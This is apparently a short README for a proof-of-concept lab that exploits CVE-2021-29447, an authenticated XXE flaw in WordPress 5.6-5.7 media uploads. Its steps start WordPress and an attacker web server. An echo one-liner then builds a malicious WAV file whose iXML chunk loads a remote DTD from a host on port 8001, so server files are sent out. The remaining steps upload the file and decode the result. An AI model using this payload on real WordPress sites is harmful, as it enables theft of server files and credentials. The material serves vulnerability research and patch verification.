WordPress 5.6-5.7 - Authenticated (Author+) XXE (CVE-2021-29447)

Using

Step1. Run WordPress

$ make up-wp

Step2. Run Attacker web server

$ make up-mal

Step3. Generate malicious WAV file

Without wavefile npm (Recommend)

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

With wavefile npm

$ make make-wav

Step4. Login to WordPress & Upload WAV file to New Media

Step5. decode

References

• WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 Security Vulnerability